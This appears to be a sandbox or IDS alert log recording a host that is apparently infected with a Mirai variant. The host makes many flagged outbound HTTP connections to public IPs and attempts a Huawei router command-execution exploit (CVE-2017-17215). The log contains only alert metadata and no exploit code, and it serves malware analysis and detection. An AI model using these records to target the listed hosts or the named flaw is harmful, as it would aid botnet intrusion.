ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.216.66.42

Timestamp:	03/04/24-15:08:39.731643
SID:	2839471
Source Port:	54654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.224.187

Timestamp:	03/04/24-15:07:18.313675
SID:	2839471
Source Port:	56670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.24.137

Timestamp:	03/04/24-15:09:04.292678
SID:	2839471
Source Port:	53618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.221.51.124

Timestamp:	03/04/24-15:06:37.079877
SID:	2839471
Source Port:	54992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.163.158.170

Timestamp:	03/04/24-15:07:27.784469
SID:	2839471
Source Port:	34302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.96.184.59

Timestamp:	03/04/24-15:08:33.179200
SID:	2839471
Source Port:	42812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.175.135.18

Timestamp:	03/04/24-15:06:51.301364
SID:	2839471
Source Port:	34174
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.162.233.29

Timestamp:	03/04/24-15:08:58.357855
SID:	2839471
Source Port:	34376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.63.183

Timestamp:	03/04/24-15:06:10.221200
SID:	2839471
Source Port:	44746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.214.8.108

Timestamp:	03/04/24-15:06:37.420912
SID:	2839471
Source Port:	59302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.227.55

Timestamp:	03/04/24-15:05:56.533759
SID:	2839471
Source Port:	41696
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.29.225

Timestamp:	03/04/24-15:07:59.806113
SID:	2839471
Source Port:	58126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.80.161.155

Timestamp:	03/04/24-15:06:59.858514
SID:	2839471
Source Port:	43548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.29.133.159

Timestamp:	03/04/24-15:06:10.907335
SID:	2839471
Source Port:	45336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.219.4

Timestamp:	03/04/24-15:06:20.084016
SID:	2839471
Source Port:	47856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.124.67.53

Timestamp:	03/04/24-15:07:06.235103
SID:	2839471
Source Port:	40546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.58.242.231

Timestamp:	03/04/24-15:08:19.937508
SID:	2839471
Source Port:	41320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.164.89.221

Timestamp:	03/04/24-15:06:32.646812
SID:	2839471
Source Port:	36222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.217.239.55

Timestamp:	03/04/24-15:07:51.956777
SID:	2839471
Source Port:	43542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.85.38.124

Timestamp:	03/04/24-15:08:52.575601
SID:	2839471
Source Port:	34278
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.141.8

Timestamp:	03/04/24-15:06:58.654875
SID:	2839471
Source Port:	44904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.81.88.25

Timestamp:	03/04/24-15:07:24.844473
SID:	2839471
Source Port:	39412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.67.9

Timestamp:	03/04/24-15:08:22.538897
SID:	2839471
Source Port:	47888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.124.55.210

Timestamp:	03/04/24-15:05:35.577240
SID:	2839471
Source Port:	57024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.237.188

Timestamp:	03/04/24-15:06:37.182443
SID:	2839471
Source Port:	51830
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.15.41.238

Timestamp:	03/04/24-15:06:47.788964
SID:	2839471
Source Port:	47904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.17.6

Timestamp:	03/04/24-15:06:58.741658
SID:	2839471
Source Port:	44798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.78.47.123

Timestamp:	03/04/24-15:07:24.288196
SID:	2839471
Source Port:	40114
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.83.41.196

Timestamp:	03/04/24-15:08:38.810902
SID:	2839471
Source Port:	59324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.200.23.98

Timestamp:	03/04/24-15:05:42.704672
SID:	2839471
Source Port:	51764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.198.131.87

Timestamp:	03/04/24-15:06:22.353338
SID:	2839471
Source Port:	35636
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.197.114.5

Timestamp:	03/04/24-15:06:52.993992
SID:	2839471
Source Port:	59718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.173.2.193

Timestamp:	03/04/24-15:07:31.660259
SID:	2839471
Source Port:	46488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.206.87.21

Timestamp:	03/04/24-15:08:54.623000
SID:	2839471
Source Port:	53562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.86.91.163

Timestamp:	03/04/24-15:06:37.298049
SID:	2839471
Source Port:	49598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.47.18.146

Timestamp:	03/04/24-15:06:47.533805
SID:	2839471
Source Port:	38644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.73.127

Timestamp:	03/04/24-15:08:58.856692
SID:	2839471
Source Port:	39164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.76.224

Timestamp:	03/04/24-15:06:37.028779
SID:	2839471
Source Port:	36776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.188.96

Timestamp:	03/04/24-15:07:07.446620
SID:	2839471
Source Port:	35184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.65.211.189

Timestamp:	03/04/24-15:08:26.802414
SID:	2839471
Source Port:	50752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.49.214

Timestamp:	03/04/24-15:05:56.533805
SID:	2839471
Source Port:	59518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.10.179

Timestamp:	03/04/24-15:08:52.841906
SID:	2839471
Source Port:	39938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.58.242.97

Timestamp:	03/04/24-15:06:20.969106
SID:	2839471
Source Port:	46488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.67.123.94

Timestamp:	03/04/24-15:06:33.691888
SID:	2839471
Source Port:	51568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.38.146.246

Timestamp:	03/04/24-15:07:33.960500
SID:	2839471
Source Port:	54302
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.146.67

Timestamp:	03/04/24-15:07:38.803434
SID:	2839471
Source Port:	39656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.160.51.191

Timestamp:	03/04/24-15:06:33.017006
SID:	2839471
Source Port:	41016
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.117.81

Timestamp:	03/04/24-15:07:27.761696
SID:	2839471
Source Port:	54314
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.213.86.207

Timestamp:	03/04/24-15:08:23.112358
SID:	2839471
Source Port:	39182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.78.150.230

Timestamp:	03/04/24-15:06:34.871045
SID:	2839471
Source Port:	34062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.216.161.122

Timestamp:	03/04/24-15:07:13.391286
SID:	2839471
Source Port:	52998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.211.56

Timestamp:	03/04/24-15:07:19.715811
SID:	2839471
Source Port:	49076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.132.191

Timestamp:	03/04/24-15:05:48.581183
SID:	2839471
Source Port:	35288
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.143.231

Timestamp:	03/04/24-15:08:42.224807
SID:	2839471
Source Port:	55918
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.201.78

Timestamp:	03/04/24-15:05:51.660578
SID:	2839471
Source Port:	58740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.30.217.86

Timestamp:	03/04/24-15:06:26.026109
SID:	2839471
Source Port:	39950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.10.179

Timestamp:	03/04/24-15:08:52.865612
SID:	2839471
Source Port:	39946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.218.168.123

Timestamp:	03/04/24-15:07:55.329163
SID:	2839471
Source Port:	57720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.194.67.101

Timestamp:	03/04/24-15:08:26.926340
SID:	2839471
Source Port:	43264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.198.168

Timestamp:	03/04/24-15:08:52.748037
SID:	2839471
Source Port:	41382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.126.75.62

Timestamp:	03/04/24-15:07:20.079170
SID:	2839471
Source Port:	46910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.208.55

Timestamp:	03/04/24-15:07:59.631218
SID:	2839471
Source Port:	57604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.235.161

Timestamp:	03/04/24-15:07:01.939120
SID:	2839471
Source Port:	55194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.247.238.196

Timestamp:	03/04/24-15:06:30.926088
SID:	2839471
Source Port:	53148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.187.188.201

Timestamp:	03/04/24-15:08:19.354593
SID:	2839471
Source Port:	45394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.104.119.34

Timestamp:	03/04/24-15:08:19.891929
SID:	2839471
Source Port:	58874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.211.222.108

Timestamp:	03/04/24-15:06:40.224483
SID:	2839471
Source Port:	33506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.164.178.215

Timestamp:	03/04/24-15:08:42.135642
SID:	2839471
Source Port:	42814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.33.218.48

Timestamp:	03/04/24-15:07:27.752001
SID:	2839471
Source Port:	57922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.241.216

Timestamp:	03/04/24-15:08:26.624215
SID:	2839471
Source Port:	59722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.143.76

Timestamp:	03/04/24-15:06:10.202652
SID:	2839471
Source Port:	32890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.128.59

Timestamp:	03/04/24-15:07:56.683608
SID:	2839471
Source Port:	47324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.68.156

Timestamp:	03/04/24-15:07:07.768948
SID:	2839471
Source Port:	41824
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.214.98.44

Timestamp:	03/04/24-15:07:07.464383
SID:	2839471
Source Port:	41068
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.158.198.28

Timestamp:	03/04/24-15:05:57.201693
SID:	2839471
Source Port:	42942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.245.42

Timestamp:	03/04/24-15:07:43.969858
SID:	2839471
Source Port:	36376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.133.250.204

Timestamp:	03/04/24-15:08:42.114839
SID:	2839471
Source Port:	56388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.210.97.73

Timestamp:	03/04/24-15:06:20.692341
SID:	2839471
Source Port:	44706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.30.218.180

Timestamp:	03/04/24-15:05:49.283844
SID:	2839471
Source Port:	57638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.184.159.112

Timestamp:	03/04/24-15:07:39.403684
SID:	2839471
Source Port:	38230
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.16.215

Timestamp:	03/04/24-15:08:03.389224
SID:	2839471
Source Port:	58202
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.190.48

Timestamp:	03/04/24-15:08:44.945058
SID:	2839471
Source Port:	43584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.57.209.81

Timestamp:	03/04/24-15:07:22.248710
SID:	2839471
Source Port:	40520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.213.197.12

Timestamp:	03/04/24-15:07:22.003588
SID:	2839471
Source Port:	35582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.210.29.252

Timestamp:	03/04/24-15:08:19.942228
SID:	2839471
Source Port:	39318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.208.226.83

Timestamp:	03/04/24-15:06:10.425676
SID:	2839471
Source Port:	43780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.29.133.159

Timestamp:	03/04/24-15:06:17.441209
SID:	2839471
Source Port:	45396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.211.4.172

Timestamp:	03/04/24-15:06:27.949347
SID:	2839471
Source Port:	47638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.26.67

Timestamp:	03/04/24-15:08:19.916519
SID:	2839471
Source Port:	52040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.17.148.9

Timestamp:	03/04/24-15:06:37.711763
SID:	2839471
Source Port:	59330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.84.173.66

Timestamp:	03/04/24-15:06:03.934047
SID:	2839471
Source Port:	37976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.154.88.233

Timestamp:	03/04/24-15:08:45.072141
SID:	2839471
Source Port:	57484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.130.249

Timestamp:	03/04/24-15:07:18.686744
SID:	2839471
Source Port:	44932
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.168.190.167

Timestamp:	03/04/24-15:08:09.720555
SID:	2839471
Source Port:	46034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.225.230.126

Timestamp:	03/04/24-15:06:30.929900
SID:	2839471
Source Port:	36442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.31.35.106

Timestamp:	03/04/24-15:05:43.108519
SID:	2839471
Source Port:	54604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.29.133.159

Timestamp:	03/04/24-15:06:20.249929
SID:	2839471
Source Port:	45468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.5.252

Timestamp:	03/04/24-15:07:17.772016
SID:	2835222
Source Port:	60500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.185.99.147

Timestamp:	03/04/24-15:06:53.897610
SID:	2839471
Source Port:	44410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.204.106.134

Timestamp:	03/04/24-15:07:23.855047
SID:	2839471
Source Port:	52290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.211.244.136

Timestamp:	03/04/24-15:06:02.132022
SID:	2839471
Source Port:	49266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.57.140.129

Timestamp:	03/04/24-15:06:33.946765
SID:	2839471
Source Port:	45778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.208.196.90

Timestamp:	03/04/24-15:08:27.765712
SID:	2839471
Source Port:	53414
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.126.75.62

Timestamp:	03/04/24-15:07:19.036746
SID:	2839471
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.23.223

Timestamp:	03/04/24-15:08:41.128594
SID:	2839471
Source Port:	45248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.5.252

Timestamp:	03/04/24-15:07:17.772016
SID:	2829579
Source Port:	60500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.161.64.31

Timestamp:	03/04/24-15:08:52.567680
SID:	2839471
Source Port:	54642
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.13.83.216

Timestamp:	03/04/24-15:05:37.528998
SID:	2839471
Source Port:	33916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.124.28.167

Timestamp:	03/04/24-15:06:52.990926
SID:	2839471
Source Port:	44960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.255.55.122

Timestamp:	03/04/24-15:06:55.867678
SID:	2839471
Source Port:	57838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.250.118.233

Timestamp:	03/04/24-15:07:35.470089
SID:	2839471
Source Port:	46242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.143.231

Timestamp:	03/04/24-15:08:43.355433
SID:	2839471
Source Port:	55944
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.70.122

Timestamp:	03/04/24-15:07:17.329360
SID:	2839471
Source Port:	56416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.216.114.50

Timestamp:	03/04/24-15:06:53.297799
SID:	2839471
Source Port:	40650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

